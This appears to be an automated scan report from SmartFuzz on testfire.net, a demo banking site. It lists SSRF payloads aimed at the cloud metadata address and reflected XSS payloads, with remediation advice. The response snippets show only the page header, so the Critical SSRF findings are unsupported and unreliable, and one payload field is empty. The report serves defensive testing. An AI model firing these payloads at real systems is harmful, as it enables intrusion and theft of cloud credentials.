

SmartFuzz

Security Assessment Report

Target: http://testfire.net

Scan Date: 2026-05-17 20:21:46 UTC

Scan ID: 0d1d1d6a-ce50-4b3e-8954-8dee7991491c

1. Executive Summary

This report presents the findings of an automated security assessment conducted against **http://testfire.net** on 2026-05-17 20:21:46 UTC. SmartFuzz crawled the target, generated AI-assisted payloads, and injected them into 100 test cases across 1 form(s) and 24 GET parameter set(s). A total of **4 vulnerabilities** were identified.

4	2	0	2	0	1	100
Total Findings	Critical	High	Medium	Low	Forms Crawled	Payloads Fired

Overall Risk Rating: **Critical**

2. Findings

2.1 Summary Table

#	Vulnerability	Parameter	Severity	Evidence / Signature
1	SSRF	content	Critical	AWS metadata IP in response
2	SSRF	content	Critical	AWS metadata IP in response
3	XSS	content	Medium	Payload reflected in response
4	XSS	content	Medium	Payload reflected in response

2.2 Detailed Findings

#1 — SSRF in content [Critical]

URL	http://testfire.net/index.jsp?content=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
Method	GET
Status	200
Resp Time	0.234s
Timestamp	2026-05-17 20:21:25

Payload Used:

http://169.254.169.254/latest/meta-data/

Response Snippet:

```
<!-- BEGIN HEADER --> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html
xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" > <head> <title>Altoro Mutual</title> <meta
http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <link href="/style.css"
rel="stylesheet
```

Remediation:

Whitelist allowed domains. Block requests to internal IP ranges.

#2 — SSRF in content [Critical]

URL	http://testfire.net/index.jsp?content=http%3A%2F%2F169.254.169.254%2Flatest%2Fuser-data%2F
Method	GET
Status	200
Resp Time	0.406s
Timestamp	2026-05-17 20:21:25

Payload Used:

http://169.254.169.254/latest/user-data/

Response Snippet:

```
<!-- BEGIN HEADER --> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html
xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" > <head> <title>Altoro Mutual</title> <meta
http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <link href="/style.css"
rel="stylesheet
```

Remediation:

Whitelist allowed domains. Block requests to internal IP ranges.

#3 — XSS in content [Medium]

URL	http://testfire.net/index.jsp?content=%27%3Balert%28%27XSS%27%29%2F%2F
Method	GET
Status	200
Resp Time	0.391s
Timestamp	2026-05-17 20:21:06

Payload Used:

```
';alert('XSS')//
```

Response Snippet:

```
<!-- BEGIN HEADER --> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html
xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" > <head> <title>Altoro Mutual</title> <meta
http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <link href="/style.css"
rel="stylesheet
```

Remediation:

Encode all user output. Use Content-Security-Policy headers.

#4 — XSS in content [Medium]

URL	http://testfire.net/index.jsp?content=%3Cdetails+open+ontoggle%3Dalert%28%27XSS%27%29%3E
Method	GET
Status	200
Resp Time	0.25s
Timestamp	2026-05-17 20:21:06

Payload Used:

Response Snippet:

```
<!-- BEGIN HEADER --> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html
xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" > <head> <title>Altoro Mutual</title> <meta
http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <link href="/style.css"
rel="stylesheet
```

Remediation:

Encode all user output. Use Content-Security-Policy headers.

3. Remediation Reference

Server-Side Request Forgery (SSRF)

Risk: Lets attackers reach internal services, cloud metadata APIs, and private networks through the server.

1. Whitelist allowed destination domains/IPs; reject everything else.
2. Block requests to 169.254.0.0/16 (AWS metadata), 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16.
3. Disable HTTP redirects, or re-validate the final destination URL.
4. Use a dedicated egress proxy that enforces the allowlist.
5. Avoid user-supplied URLs entirely where possible.

Reference: OWASP Top 10 A10:2021 — SSRF

Cross-Site Scripting (XSS)

Risk: Enables attackers to execute scripts in victims' browsers, steal cookies/sessions, or redirect users.

1. HTML-encode all user-controlled output before rendering.
2. Implement a strict Content-Security-Policy (CSP) header.
3. Use modern frameworks (React, Vue, Angular) that auto-escape by default.
4. Set HttpOnly and Secure flags on session cookies.
5. Validate and sanitize input on the server side.

Reference: OWASP Top 10 A03:2021 — Injection

4. Disclaimer

This report was generated automatically by SmartFuzz. Results should be reviewed and validated by a qualified security professional before acting upon them. False positives may be present. This tool is intended for use against systems you own or have explicit written authorisation to test. Unauthorised testing is illegal and unethical.

Generated by SmartFuzz on 2026-05-17 20:21:46 UTC